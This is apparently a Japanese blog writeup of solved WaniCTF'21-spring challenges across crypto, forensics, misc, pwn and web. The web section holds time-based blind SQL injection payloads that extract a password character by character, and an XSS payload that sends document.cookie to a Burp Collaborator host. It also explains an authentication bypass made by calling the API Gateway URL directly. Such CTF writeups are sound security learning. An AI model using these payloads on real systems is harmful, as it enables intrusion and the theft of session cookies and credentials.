ペネトレーションしのべくん

さようなら、すべてのセキュリティエンジニア

WaniCTF'21-spring Writeup

はじめに

「WaniCTF'21-spring」の解けたやつだけWriteupです。久しぶりのCTF、Web問をたくさん解けました。徳丸本(基礎試験合格含む)、PortSwiggerのWeb Security Academyでコツコツ勉強してきた成果が出てすごく嬉しいです。

wanictf.org

Crypto

Simple conversion

コード内で int.from_bytes() が使われていたので、 to_bytes() 的なものを使ってREPLでガチャガチャやってたら解けました。

$ python
Python 3.9.1 (default, Feb 11 2021, 14:36:18) 
[Clang 12.0.0 (clang-1200.0.32.2)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> 
>>> a = open("output.txt").read()
>>> a
'709088550902439876921359662969011490817828244100611994507393920171782905026859712405088781429996152122943882490614543229\n'
>>> a = int(a)
>>> 
>>> a
709088550902439876921359662969011490817828244100611994507393920171782905026859712405088781429996152122943882490614543229
>>> 
>>> b = str(a)
>>> b
'709088550902439876921359662969011490817828244100611994507393920171782905026859712405088781429996152122943882490614543229'
>>> 
>>> len(b)
120
>>> 
>>> a.to_bytes(120, "big")
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00FLAG{7h1s_i5_h0w_we_c0nvert_m3ss@ges_1nt0_num63rs}'
>>>

Forensics

presentation

.ppsx形式のファイルは、最初からスライドショー形式で起動するようです。Keynoteで開いて ESC か何かを押したら編集画面に遷移したのであとはよしなに。

secure document

この問題で「AutoHotKey」というものを知りました。キー操作を自動化するためのスクリプトエンジンだそうです。問題ファイルにスクリプトファイルが同梱されていました。以下のスクリプトが動いている状態で the password for today is nani と入力した時に出力される文字列が、同梱されているZipファイルのパスワードのようです。

::the::       ;「the」とタイプしてスペースを押すと実行される、以下同様
Send, +wani   ;「+」はShiftキー
return

::password::
Send, +c+t+f
return

::for::
Send, {home}{right 3}{del}1{end}{left 2}{del}7
return

::today::
FormatTime , x,, yyyyMMdd       ;YYYYMMDD形式の日時情報を変数xに格納する
SendInput, {home}{right 4}_%x%  ;「%x%」で変数x読み出し
return

::is::
Send, _{end}{!}{!}{left}
return

:*?:ni:: ;スペースを入力しなくても「ni」をタイプした時点で即実行される
Send, ^a^c{Esc}{home}password{:} {end}
return

WindowsAutoHotKeyをインストールして実際に試したところ、 password: Wan1_20210502_C7F!na! という文字列が生成されました。日付をZipファイル名に付いている 20210428 に変えるのはいいとして、先頭の password: がパスワードに含まれないのはちょっと納得できません。

Misc

binary

sapmle.py に復号アルゴリズムが載っていたので、output.csvを加工して配列にしてそのまま使いました。最後に消すつもりだったものが残ってしまったのか、はたまた難易度を下げるためにあえて残したのか……。

Git Master

イメージをpullしてrunし、 docker exec -it CONTAINER_ID /bin/bash してコンテナのシェルを起動します。gitコマンドをインストールした後、 git loggit reset --hard HEAD^ でコミットを遡りながら html/Flag.txt の内容を確認し、いくつかの差分を繋ぎ合わせたらflagになりました。

Pwn

01 netcat

nc したらシェルに繋がって、 flag.txt を開くだけでした。

Web

fake

いっぱいボタンがあったので、開発者ツールで流し見してたらたまたま href 属性があるリンクを見つけました。

Wani Request 1

Burp Collaboratorでリクエストを受信しました。 RefererAPI GatewayのURLが入っていたので、アクセスしたらflagでした。

exception

hello.py を読むに「リクエストボディがない」「 リクエストボディ内に name がない」ケースのハンドリングがそれぞれできていて、これら以外の事象が発生すると例外処理で500エラーと共にflagをレスポンスする作りになっています。リクエストをBurpでプロキシして以下のように書き換えたら、500エラーが発生しました(値は別に1つだけでもよかったみたいです)。

{
  "name":123,
  "name":123
}

watch animal

まず、以下のペイロードでレスポンスが10秒遅延することを確認しました。Blind SQL injectionできます。

email='OR(''='&password=')||(SELECT+IF(1=1,sleep(10),'a'))--+

Burp Intruderを使って、以下のようなペイロードでパスワードが15文字であることを確認しました。

email='OR(''='&password=')||(SELECT+IF(LENGTH(password)>1,sleep(10),NULL)+FROM+users+WHERE+email='wanictf21spring@gmail.com')--+

同じくBurp Intruderで、以下のようなペイロード( SUBSTRING の第2引数と比較する文字列を可変にし、IntruderのCluster bombモードを使用)でパスワード(=flag)を特定しました。

email='OR(''='&password=')||(SELECT+IF(SUBSTRING(password,1,1)='F',sleep(10),NULL)+FROM+users+WHERE+email='wanictf21spring@gmail.com')--+

いつもは email のほうでクエリを完結させてそれ以降はコメントアウトして無効化していますが、email の入力欄の最大文字数が32文字と厳しかったです。 password は最大128文字まで許容されていたので、やりたいことは password のほうでやって、 email やAND条件がクエリ内で意味をなさないようにしました(以下クエリ例、太字が入力)。

SELECT * from users WHERE email = '' OR ('' = '' AND password = '') || ...

CloudFront Basic Auth

exceptionと同じ要領で例外を起こしたところ、エラーレスポンスの中に domainName としてAPI GatewayFQDNが含まれていました。 SAMのテンプレートを参考に https://${APIID}.execute-api.${AWS::Region}.amazonaws.com/Prod/admin にアクセスしたところ、ベーシック認証をバイパスしてflagが表示されました。ちゃんと守るなら、CloudFrontでカスタムヘッダーを挿入して、API Gateway側でヘッダーの有無を検証する必要があります。

Wani Request 2(partial)

Page1だけ解けたので一応……。以下を wani というクエリパラメータとして持つPage1にアクセスすると、クッキーを窃視できます。

<img+src=1+onerror=fetch("XXXXXXXXXXXXXXXXXX.burpcollaborator.net",{method:"POST",mode:"no-cors",body:document.cookie})>